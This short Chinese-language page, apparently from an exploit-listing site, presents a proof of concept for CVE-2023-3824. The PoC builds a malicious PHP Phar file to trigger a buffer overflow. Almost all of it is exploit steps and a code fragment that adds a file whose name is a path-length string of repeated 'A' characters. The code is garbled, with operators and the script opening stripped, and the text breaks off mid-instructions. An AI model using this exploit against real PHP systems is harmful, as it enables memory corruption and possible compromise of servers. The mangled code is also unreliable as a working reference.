CVE-2023-3824

PHP恶意Phar文件PoC CVE-2023-3824 描述 此概念验证（PoC）演示了如何在PHP中创建恶意Phar文件并触发缓冲区溢出漏洞。 使用方法 创建恶意Phar文件 1. 创建一个新的PHP文件（例如 createphar.php）并添加以下代码： root@kitploit: startBuffering; $phar-addFromStringstrrepeat'A', PHPMAXPATHLEN - 1.'B', 'This is the content of the file.'; $phar-stopBuffering; ? 执行PHP脚本以创建恶意Phar文件：...